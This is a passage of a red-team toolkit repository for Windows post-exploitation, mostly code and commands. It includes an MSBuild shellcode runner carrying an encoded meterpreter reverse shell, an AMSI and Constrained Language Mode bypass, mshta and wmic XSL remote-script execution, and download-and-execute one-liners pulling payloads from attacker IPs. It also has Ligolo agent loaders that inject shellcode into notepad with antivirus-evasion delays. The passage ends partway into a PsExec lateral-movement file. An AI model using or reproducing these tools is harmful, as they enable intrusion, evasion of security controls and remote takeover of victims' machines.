AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" />
<!-- Your PowerShell Path May vary -->
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Collections.ObjectModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;
public class ClassExample : Task, ITask
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern UInt32 FlsAlloc(IntPtr lpCallback);
public static void Main(string[] args)
{
UInt32 result = FlsAlloc(IntPtr.Zero);
if (result == 0xFFFFFFFF)
{
return;
}
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f csharp EXITFUNC=thread
byte[] buf = new byte[808] {
0x06,0xb2,0x79,0x1e,0x0a,0x12,0x36,0xfa,0xfa,0xfa,0xbb,0xab,0xbb,
0xaa,0xa8,0xab,0xb2,0xcb,0x28,0xac,0x9f,0xb2,0x71,0xa8,0x9a,0xb2,
0x71,0xa8,0xe2,0xb2,0x71,0xa8,0xda,0xb7,0xcb,0x33,0xb2,0x71,0x88,
0xaa,0xb2,0xf5,0x4d,0xb0,0xb0,0xb2,0xcb,0x3a,0x56,0xc6,0x9b,0x86,
0xf8,0xd6,0xda,0xbb,0x3b,0x33,0xf7,0xbb,0xfb,0x3b,0x18,0x17,0xa8,
0xbb,0xab,0xb2,0x71,0xa8,0xda,0x71,0xb8,0xc6,0xb2,0xfb,0x2a,0x9c,
0x7b,0x82,0xe2,0xf1,0xf8,0xf5,0x7f,0x88,0xfa,0xfa,0xfa,0x71,0x7a,
0x72,0xfa,0xfa,0xfa,0xb2,0x7f,0x3a,0x8e,0x9d,0xb2,0xfb,0x2a,0x71,
0xb2,0xe2,0xbe,0x71,0xba,0xda,0xb3,0xfb,0x2a,0xaa,0x19,0xac,0xb7,
0xcb,0x33,0xb2,0x05,0x33,0xbb,0x71,0xce,0x72,0xb2,0xfb,0x2c,0xb2,
0xcb,0x3a,0xbb,0x3b,0x33,0xf7,0x56,0xbb,0xfb,0x3b,0xc2,0x1a,0x8f,
0x0b,0xb6,0xf9,0xb6,0xde,0xf2,0xbf,0xc3,0x2b,0x8f,0x22,0xa2,0xbe,
0x71,0xba,0xde,0xb3,0xfb,0x2a,0x9c,0xbb,0x71,0xf6,0xb2,0xbe,0x71,
0xba,0xe6,0xb3,0xfb,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int)buf[i] ^ 0xfa);
}
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
public override bool Execute()
{
Main(new string[0]);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
================================================
FILE: 03 - CLM & Applocker Bypass/4 - Binaries/CLMBypass.cs
================================================
using System;
using System.Runtime.InteropServices;
using System.Runtime.CompilerServices;
namespace loader
{
public class MainClass
{
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetStdHandle(int nStdHandle);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
public static void Main(string[] args)
{
go();
}
public static void go()
{
var Automation = typeof(System.Management.Automation.Alignment).Assembly;
var get_lockdown_info = Automation.GetType("System.Management.Automation.Security.SystemPolicy").GetMethod("GetSystemLockdownPolicy", System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.Static);
var get_lockdown_handle = get_lockdown_info.MethodHandle;
uint lpflOldProtect;
RuntimeHelpers.PrepareMethod(get_lockdown_handle);
var get_lockdown_ptr = get_lockdown_handle.GetFunctionPointer();
VirtualProtect(get_lockdown_ptr, new UIntPtr(4), 0x40, out lpflOldProtect);
var new_instr = new byte[] { 0x48, 0x31, 0xc0, 0xc3 };
Marshal.Copy(new_instr, 0, get_lockdown_ptr, 4);
char[] chars = { 'a' , 'm', 's', 'i', '.', 'd', 'l', 'l'};
String libName = string.Join("", chars);
var blabla = LoadLibrary(libName);
char[] chars2 = { 'A', 'm', 's', 'i', 'S', 'c', 'a', 'n', 'B', 'u', 'f', 'f', 'e', 'r' };
String funcName = string.Join("", chars2);
var blabla2 = GetProcAddress(blabla, funcName);
VirtualProtect(blabla2, new UIntPtr(8), 0x40, out lpflOldProtect);
if (System.IntPtr.Size == 8)
{
Marshal.Copy(new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }, 0, blabla2, 6);
}
else
{
Marshal.Copy(new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }, 0, blabla2, 8);
}
Console.WriteLine("AMSI Bypassed!");
Microsoft.PowerShell.ConsoleShell.Start(System.Management.Automation.Runspaces.RunspaceConfiguration.Create(), "Banner", "Help", new string[] {
"-exec", "bypass", "-nop"
});
}
}
[System.ComponentModel.RunInstaller(true)]
public class Loader : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
base.Uninstall(savedState);
MainClass.go();
}
}
}
================================================
FILE: 03 - CLM & Applocker Bypass/5 - JScript/README.md
================================================
We can execute `runner.sct` remotely with:
- `mshta.exe "javascript:GetObject('script:http://192.168.50.145/runner.sct');close();"`
- `mshta.exe "javascript:a=GetObject;b='script:http://192.168.50.145/runner.sct';a(b);close();"`
================================================
FILE: 03 - CLM & Applocker Bypass/5 - JScript/runner.sct
================================================
<?XML version="1.0"?>
<scriptlet>
<registration
description="Desc"
progid="Progid"
version="0"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
>
</registration>
<public>
<method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
function Exec() {
new ActiveXObject("WScript.Shell").Run("calc.exe");
}
// Automatically call the Exec method when the scriptlet is loaded
Exec();
]]>
</script>
</scriptlet>
================================================
FILE: 03 - CLM & Applocker Bypass/6 - XSL/README.md
================================================
# XSL Transform
Can be combined with JScript code (SuperSharpShooter) to get a meterpreter shell.
> [!CAUTION]
> Bypasses default AppLocker Rules.
> We can use 64bit shellcode.
### Create shellcode:
- `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f raw -o output/shell.txt`
### Create JScript using SuperSharpShooter:
- `python3 SuperSharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile shell.txt --output test`
### Execution
1. Option one: Embed the JS content to the XSL template, and on victim, run: `wmic process get /format:"http://192.168.0.1/test.xsl"`
2. Option two: use the HTA template to trick the victim to execute the XSL payload.
================================================
FILE: 03 - CLM & Applocker Bypass/6 - XSL/template.xsl
================================================
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
<<<JSCRIPT CONTENT HERE>>>
]]>
</ms:script>
</stylesheet>
================================================
FILE: 03 - CLM & Applocker Bypass/enum-paths.ps1
================================================
Param(
[parameter(Mandatory=$false)]
[String[]] $Exclusions = @(),
[parameter(Mandatory=$false)]
[String[]] $Paths = @(
"C:\Windows",
"C:\Program Files",
"C:\Program Files (x86)"
),
[parameter(Mandatory=$false)]
[String] $OutFile
)
$FSR = [System.Security.AccessControl.FileSystemRights]
$GenericRights = @{
GENERIC_READ = [int]0x80000000;
GENERIC_WRITE = [int]0x40000000;
GENERIC_EXECUTE = [int]0x20000000;
GENERIC_ALL = [int]0x10000000;
FILTER_GENERIC = [int]0x0FFFFFFF;
}
$MappedGenericRights = @{
FILE_GENERIC_READ = $FSR::ReadAttributes -bor $FSR::ReadData -bor $FSR::ReadExtendedAttributes -bor $FSR::ReadPermissions -bor $FSR::Synchronize
FILE_GENERIC_WRITE = $FSR::AppendData -bor $FSR::WriteAttributes -bor $FSR::WriteData -bor $FSR::WriteExtendedAttributes -bor $FSR::ReadPermissions -bor $FSR::Synchronize
FILE_GENERIC_EXECUTE = $FSR::ExecuteFile -bor $FSR::ReadPermissions -bor $FSR::ReadAttributes -bor $FSR::Synchronize
FILE_GENERIC_ALL = $FSR::FullControl
}
Function Map-GenericRightsToFileSystemRights([System.Security.AccessControl.FileSystemRights]$Rights) {
$MappedRights = New-Object -TypeName $FSR
If ($Rights -band $GenericRights.GENERIC_EXECUTE) {
$MappedRights = $MappedRights -bor $MappedGenericRights.FILE_GENERIC_EXECUTE
}
If ($Rights -band $GenericRights.GENERIC_READ) {
$MappedRights = $MappedRights -bor $MappedGenericRights.FILE_GENERIC_READ
}
If ($Rights -band $GenericRights.GENERIC_WRITE) {
$MappedRights = $MappedRights -bor $MappedGenericRights.FILE_GENERIC_WRITE
}
If ($Rights -band $GenericRights.GENERIC_ALL) {
$MappedRights = $MappedRights -bor $MappedGenericRights.FILE_GENERIC_ALL
}
return (($Rights -band $GenericRights.FILTER_GENERIC) -bor $MappedRights) -as $FSR
}
$WriteRights = @("WriteData", "CreateFiles", "CreateDirectories", "WriteExtendedAttributes", "WriteAttributes", "Write", "ModIfy", "FullControl")
Function NotLike($String, $Patterns) {
ForEach ($Pattern in $Patterns) { If ($String -like $Pattern) { return $False } }
return $True
}
function Scan($Path, $OutputFile) {
If ($OutFile) { New-Item -Force -ItemType File -Path $OutputFile | Out-Null }
$Cache = @()
gci $Path -Recurse -Exclude $Exclusions -Force -ea silentlycontinue |
? {(NotLike $_.fullname $Exclusions)} | %{
trap { continue }
$File = $_.fullname
(get-acl $File -ea silentlycontinue).access |
? {$_.identityreference -Match ".*USERS|EVERYONE"} | %{
(map-genericrightstofilesystemrights $_.filesystemrights).tostring().split(",") | %{
If ($WriteRights -Contains $_.trim()) {
If ($Cache -NotContains $File) {
Write-Host $File
If ($OutputFile) { $File | Out-File -Append -Force -FilePath $OutFile }
$Cache += $File
}
}
}
}
}
return $Cache
}
$Paths | %{ scan $_ $OutFile }
================================================
FILE: 04 - Tunneling/Ligolo-ApplockerBypass/Ligolo-ApplockerBypass.ps1
================================================
#1 Make sure to generate agent.bin: .\donut.exe -f 1 -o .\agent.bin -a 2 -p "-connect your-server:11601 -ignore-cert" -i agent.exe
#2 Once generated put it on victim in the location: "C:\Windows\Tasks".
#4 Invoke it: iex(iwr http://192.168.45.173:443/Ligolo-AppLockerBypass.ps1 -UseBasicParsing)
#5 If no success in the first time, make sure to kill the notepad.exe process with: "taskkill /IM:notepad.exe /F" before trying again.
Start-Process notepad.exe -WindowStyle Hidden
$shellcode = [System.IO.File]::ReadAllBytes("C:\Windows\Tasks\agent.bin")
$procid = (Get-Process -Name notepad).Id
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
}
"@ -Language CSharp
$PROCESS_ALL_ACCESS = 0x1F0FFF
$MEM_COMMIT = 0x1000
$MEM_RESERVE = 0x2000
$PAGE_EXECUTE_READWRITE = 0x40
$hProcess = [Kernel32]::OpenProcess($PROCESS_ALL_ACCESS, $false, $procid)
if ($hProcess -eq [IntPtr]::Zero) {
Write-Error "Failed to open process."
exit
}
$size = $shellcode.Length
$addr = [Kernel32]::VirtualAllocEx($hProcess, [IntPtr]::Zero, [uint32]$size, $MEM_COMMIT -bor $MEM_RESERVE, $PAGE_EXECUTE_READWRITE)
if ($addr -eq [IntPtr]::Zero) {
Write-Error "Failed to allocate memory in the target process."
[Kernel32]::CloseHandle($hProcess)
exit
}
$out = 0
$result = [Kernel32]::WriteProcessMemory($hProcess, $addr, $shellcode, [uint32]$size, [ref]$out)
if (-not $result) {
Write-Error "Failed to write shellcode to the target process."
[Kernel32]::CloseHandle($hProcess)
exit
}
$thread = [Kernel32]::CreateRemoteThread($hProcess, [IntPtr]::Zero, 0, $addr, [IntPtr]::Zero, 0, [IntPtr]::Zero)
if ($thread -eq [IntPtr]::Zero) {
Write-Error "Failed to create remote thread in the target process."
}
[Kernel32]::CloseHandle($hProcess)
Write-Output "Ligolo Agent Shellcode injected successfully, check the Ligolo Proxy Server interface!"
================================================
FILE: 04 - Tunneling/Ligolo-ApplockerBypass/README.md
================================================
Source: https://github.com/LorisDietrich/ApplockerBypassExternalBinary
### <ins>Step 1: Modify the Ligolo-ng agent's main file</ins>
- Clone ligolo-ng repo: https://github.com/nicocha30/ligolo-ng.
- Open and edit `main.go`, to adjust the settings as needed: `/ligolo-ng/cmd/agent/main.go`
- <img width="653" alt="{CAC55401-20B8-42A1-BCDE-EBF6E1DFC442}" src="https://github.com/user-attachments/assets/4d52a625-d15d-477d-a46e-63659f503c42" />
### <ins>Step 2: Compile the agent<ins/>
- Use the following command to compile:
- `GOOS=windows go build -o agent.exe cmd/agent/main.go`
### <ins>Step 3: Encode the ApplockerBypassExternalBinary executable with certutil<ins/>
- `certutil -encode .\ApplockerBypassExternalBinary.exe AppLockerBypassLigolo.txt`
### <ins>Step 4: Execution on the Target Machine<ins/>
- Name the agent executable `ligolo-agent.exe`
- Make sure both executable and the encoded .txt file in the same directory, then serve them with python server.
### <ins/>Step 5: Execution in Action!<ins/>
- On victim, run: `cmd.exe /c curl http://192.168.45.185/ligolo-agent.exe -o C:\users\public\try-agent.exe && curl http://192.168.45.185/AppLockerBypassLigolo.txt -o C:\users\public\enc.txt && certutil -decode C:\users\public\enc.txt C:\users\public\ligolo.exe && del C:\users\public\enc.txt && C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=true /U C:\users\public\ligolo.exe`
================================================
FILE: 04 - Tunneling/README.md
================================================
## Agent Shellcode Runner
1. Make sure to convert `agent.exe` of Ligolo to shellcode:
- `donut -f 1 -o agent.bin -a 2 -p "-connect your-server:11601 -ignore-cert" -i agent.exe`
2. Make sure you are running as x64 bit process before running:
- Powershell: `[Environment]::Is64BitProcess`
- CMD: `set p` (Should show `PROCESSOR_ARCHITECTURE=AMD64`)
3. Inside `ligolo.ps1`, make sure to update line 14 (`$url = "http://192.168.45.168/agent.bin"`) to point to your machine IP address before invoking it.<br>
NOTE: if this script is caught by AV, use the `ligolo-psrunner.ps1` as alternative as it uses NT APIs only with sleeps between sensitive operations.
5. make sure both `ligolo.ps1` and `agent.bin` in the same directory, then serve them by simply using python server.
6. Invoke the script:
- `iex(iwr http://192.168.45.173/ligolo.ps1 -UseBasicParsing)`
## CLM Bypass
`ligolo-clmbypass.xml` can be used to load Ligolo agent with bypassing Constrained Language Mode.
- Make sure to prepare `ligolo.ps1` file and serve it using python server.
Upload to the victim and run (Make sure to change to your IP Address in the file):
- `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe ligolo-clmbypass.xml`
================================================
FILE: 04 - Tunneling/ligolo-clmbypass.xml
================================================
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="4.0">
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Net" />
<Reference Include="System.Xml" />
</ItemGroup>
<Target Name="Hello">
<ClassExample/>
</Target>
<UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Using Namespace="System"/>
<Using Namespace="System.Reflection"/>
<Using Namespace="System.Diagnostics"/>
<Using Namespace="System.Net"/>
<Using Namespace="System.Management.Automation"/>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Management.Automation;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task
{
public override bool Execute()
{
// Define your PowerShell command here
string customCommand = @"
iex(iwr http://192.168.45.157/ligolo.ps1 -useb)
";
try
{
// Create the PowerShell instance
using (PowerShell ps = PowerShell.Create())
{
// Add the custom PowerShell script
ps.AddScript(customCommand);
// Execute the script
var results = ps.Invoke();
// Output the results to the console
foreach (var result in results)
{
Console.WriteLine(result.ToString());
}
// Check for errors
if (ps.Streams.Error.Count > 0)
{
foreach (var error in ps.Streams.Error)
{
Console.WriteLine("Error: " + error.ToString());
}
return false; // Return failure if there's an error
}
}
}
catch (Exception ex)
{
Console.WriteLine("Exception occurred: " + ex.Message);
return false; // Return failure if an exception occurs
}
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
================================================
FILE: 04 - Tunneling/ligolo-psrunner.ps1
================================================
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Net;
using System.Diagnostics;
public class NtDll {
[DllImport("ntdll.dll", SetLastError = true)]
public static extern int NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, uint AllocationType, uint Protect);
[DllImport("ntdll.dll", SetLastError = true)]
public static extern int NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint FreeType);
[DllImport("ntdll.dll", SetLastError = true)]
public static extern int NtCreateThreadEx(out IntPtr ThreadHandle, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr StartAddress, IntPtr Argument, uint CreateFlags, uint ZeroBits, uint StackSize, uint MaximumStackSize, IntPtr AttributeList);
[DllImport("ntdll.dll", SetLastError = true)]
public static extern int NtWaitForSingleObject(IntPtr Handle, bool Alertable, IntPtr Timeout);
[DllImport("ntdll.dll", SetLastError = true)]
public static extern int NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, out uint OldProtect);
[DllImport("ntdll.dll", SetLastError = true)]
public static extern int NtDelayExecution(bool Alertable, ref long DelayInterval);
[DllImport("ntdll.dll", SetLastError = true)]
public static extern int NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, uint NumberOfBytesToWrite, out uint NumberOfBytesWritten);
[DllImport("ntdll.dll", SetLastError = true)]
public static extern int ZwSetTimerResolution(uint RequestedResolution, bool Set, ref uint ActualResolution);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
}
public class MyFunctions {
private static bool once = true;
public static void SleepShort(float milliseconds) {
if (once) {
uint actualResolution = 0;
NtDll.ZwSetTimerResolution(1, true, ref actualResolution);
once = false;
}
long interval = (long)(-1 * milliseconds * 10000.0f);
NtDll.NtDelayExecution(false, ref interval);
}
}
"@
Write-Host "[+] Starting shellcode injection process" -ForegroundColor Green
# First, ensure Notepad is running
Write-Host "[*] Checking for running Notepad processes..." -ForegroundColor Cyan
$notepadProcesses = Get-Process notepad -ErrorAction SilentlyContinue
if ($notepadProcesses -eq $null -or $notepadProcesses.Count -eq 0) {
Write-Host "[!] No Notepad process found. Starting Notepad..." -ForegroundColor Yellow
$processInfo = Start-Process notepad -PassThru
Write-Host "[+] Notepad started (PID: $($processInfo.Id))" -ForegroundColor Green
# Wait for Notepad to fully initialize
Write-Host "[*] Waiting for Notepad to initialize..." -ForegroundColor Cyan
[MyFunctions]::SleepShort(3000)
# Refresh process list
$notepadProcesses = Get-Process notepad -ErrorAction SilentlyContinue
}
# Define URL to download shellcode from
$url = "http://10.100.102.67/agent.bin"
Write-Host "[*] Shellcode URL: $url" -ForegroundColor Yellow
# Function to download shellcode from URL
function Download-Shellcode {
param($url)
Write-Host "[*] Downloading shellcode from URL..." -ForegroundColor Cyan
$webClient = New-Object System.Net.WebClient
$bytes = $webClient.DownloadData($url)
Write-Host "[+] Shellcode downloaded successfully (Size: $($bytes.Length) bytes)" -ForegroundColor Green
return $bytes
}
# Ensure enough delay between operations
Write-Host "[*] Initial delay..." -ForegroundColor Cyan
[MyFunctions]::SleepShort(2000)
# Download shellcode from URL
$shellcode = Download-Shellcode -url $url
# Calculate the size of the shellcode
$size = $shellcode.Length
Write-Host "[*] Shellcode size: $size bytes" -ForegroundColor Yellow
# Sleep function for delay
function SleepShort($milliseconds) {
Write-Host "[*] Sleeping for $milliseconds ms..." -ForegroundColor Cyan
[MyFunctions]::SleepShort($milliseconds)
}
# Ensure enough delay between operations
SleepShort 2000
# Get the last notepad.exe process
Write-Host "[*] Finding last Notepad process..." -ForegroundColor Cyan
$lastNotepad = $notepadProcesses | Sort-Object StartTime -Descending | Select-Object -First 1
Write-Host "[+] Found Notepad process (PID: $($lastNotepad.Id))" -ForegroundColor Green
# Open a handle to the process with necessary permissions (PROCESS_ALL_ACCESS = 0x1F0FFF)
SleepShort 1000
Write-Host "[*] Opening process handle..." -ForegroundColor Cyan
$processHandle = [NtDll]::OpenProcess(0x1F0FFF, $false, $lastNotepad.Id)
if ($processHandle -eq [IntPtr]::Zero) {
Write-Host "[!] Failed to open process handle" -ForegroundColor Red
exit
}
Write-Host "[+] Process handle opened successfully (Handle: $processHandle)" -ForegroundColor Green
SleepShort 2000
# Allocate read-write memory in notepad process using NtAllocateVirtualMemory
Write-Host "[*] Allocating memory in target process..." -ForegroundColor Cyan
$addr = [IntPtr]::Zero
$result = [NtDll]::NtAllocateVirtualMemory($processHandle, [ref]$addr, [IntPtr]::Zero, [ref]$size, 0x3000, 0x4)
if ($result -eq 0) {
Write-Host "[+] Memory allocated successfully at address: 0x$($addr.ToString('X'))" -ForegroundColor Green
} else {
Write-Host "[!] Memory allocation failed with error: 0x$($result.ToString('X'))" -ForegroundColor Red
exit
}
SleepShort 2000
# Write the shellcode to the allocated memory in notepad process
Write-Host "[*] Writing shellcode to allocated memory..." -ForegroundColor Cyan
$bytesWritten = 0
$result = [NtDll]::NtWriteVirtualMemory($processHandle, $addr, $shellcode, $shellcode.Length, [ref]$bytesWritten)
if ($result -eq 0) {
Write-Host "[+] Shellcode written successfully ($bytesWritten bytes written)" -ForegroundColor Green
} else {
Write-Host "[!] Write operation failed with error: 0x$($result.ToString('X'))" -ForegroundColor Red
exit
}
SleepShort 2000
# Change the memory protection to read-execute using NtProtectVirtualMemory
Write-Host "[*] Changing memory protection to RX..." -ForegroundColor Cyan
$oldProtect = 0
$result = [NtDll]::NtProtectVirtualMemory($processHandle, [ref]$addr, [ref]$size, 0x20, [ref]$oldProtect)
if ($result -eq 0) {
Write-Host "[+] Memory protection changed successfully (Old protection: 0x$($oldProtect.ToString('X')))" -ForegroundColor Green
} else {
Write-Host "[!] Protection change failed with error: 0x$($result.ToString('X'))" -ForegroundColor Red
exit
}
SleepShort 2000
# Create a new thread in notepad process and execute the shellcode using NtCreateThreadEx
Write-Host "[*] Creating thread to execute shellcode..." -ForegroundColor Cyan
$thandle = [IntPtr]::Zero
$result = [NtDll]::NtCreateThreadEx([ref]$thandle, 0x1FFFFF, [IntPtr]::Zero, $processHandle, $addr, [IntPtr]::Zero, 0, 0, 0, 0, [IntPtr]::Zero)
if ($result -eq 0) {
Write-Host "[+] Thread created successfully (Handle: $thandle)" -ForegroundColor Green
} else {
Write-Host "[!] Thread creation failed with error: 0x$($result.ToString('X'))" -ForegroundColor Red
exit
}
# Don't wait for the thread to finish - let it run asynchronously
# Instead, just close the thread handle to prevent resource leaks
if ($thandle -ne [IntPtr]::Zero) {
Write-Host "[*] Closing thread handle..." -ForegroundColor Cyan
[NtDll]::CloseHandle($thandle) | Out-Null
Write-Host "[+] Thread handle closed" -ForegroundColor Green
}
SleepShort 10000
Write-Host "[+] Shellcode injection completed successfully!" -ForegroundColor Green
# Close the process handle
if ($processHandle -ne [IntPtr]::Zero) {
Write-Host "[*] Closing process handle..." -ForegroundColor Cyan
[NtDll]::CloseHandle($processHandle) | Out-Null
Write-Host "[+] Process handle closed" -ForegroundColor Green
}
================================================
FILE: 04 - Tunneling/ligolo.ps1
================================================
# Check that we are running as 64bit process
if ([System.IntPtr]::Size -ne 8) {
Write-Error "This script must be run as a 64-bit process."
exit
}
# Step 2: Start svchost.exe in suspended mode
Write-Host "Starting notepad.exe..."
$notepadProcess = Start-Process -FilePath "C:\Windows\System32\notepad.exe" -WindowStyle Hidden -PassThru -ArgumentList "none.txt"
$procid = $notepadProcess.Id
Write-Host "Started notepad.exe with PID: $procid"
# Step 3: Download the raw shellcode from the remote server
$url = "http://192.168.45.168/agent.bin" # CHANGE ME
Write-Host "Shellcode Download in progress!"
$shellcode = (Invoke-WebRequest -Uri $url -UseBasicParsing).Content
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint dwFreeType);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ResumeThread(IntPtr hThread);
}
"@ -Language CSharp
$PROCESS_ALL_ACCESS = 0x1F0FFF
$PROCESS_CREATE_THREAD = 0x0002
$PROCESS_VM_OPERATION = 0x0008
$PROCESS_VM_WRITE = 0x0020
$PROCESS_VM_READ = 0x0010
$MEM_COMMIT = 0x1000
$MEM_RESERVE = 0x2000
$PAGE_EXECUTE_READWRITE = 0x40
# Open the process in suspended mode
$hProcess = [Kernel32]::OpenProcess($PROCESS_ALL_ACCESS, $false, $procid)
if ($hProcess -eq [IntPtr]::Zero) {
Write-Error "Failed to open process."
exit
}
# Retrieve process information (Get entry point & image base)
$hThread = (Get-Process -Id $procid).Threads[0].Id
$procInfo = (Get-WmiObject Win32_Process -Filter "ProcessId = '$procid'").ExecutablePath
# Allocate memory in the target process
$size = $shellcode.Length
$addr = [Kernel32]::VirtualAllocEx($hProcess, [IntPtr]::Zero, [uint32]$size, $MEM_COMMIT -bor $MEM_RESERVE, $PAGE_EXECUTE_READWRITE)
if ($addr -eq [IntPtr]::Zero) {
Write-Error "Failed to allocate memory in the target process."
[Kernel32]::CloseHandle($hProcess)
exit
}
# Write shellcode to the allocated memory
$out = 0
$result = [Kernel32]::WriteProcessMemory($hProcess, $addr, $shellcode, [uint32]$size, [ref]$out)
if (-not $result) {
Write-Error "Failed to write shellcode to the target process."
[Kernel32]::CloseHandle($hProcess)
exit
}
# Free the memory of the original image (process hollowing)
$peBaseAddr = [IntPtr]::Zero
[Kernel32]::VirtualFreeEx($hProcess, $peBaseAddr, 0, 0x8000)
# Resume the process after injection of shellcode
$thread = [Kernel32]::CreateRemoteThread($hProcess, [IntPtr]::Zero, 0, $addr, [IntPtr]::Zero, 0, [IntPtr]::Zero)
if ($thread -eq [IntPtr]::Zero) {
Write-Error "Failed to create remote thread in the target process."
}
else {
[Kernel32]::ResumeThread($thread)
Write-Output "Shellcode injected, check your listener!"
}
[Kernel32]::CloseHandle($hProcess)
================================================
FILE: 05 - Lateral Movement/Fileless Lateral Movement/EXE/PsExecLat.cs
================================================
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
namespace PsExecLat
{
public class Program
{
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
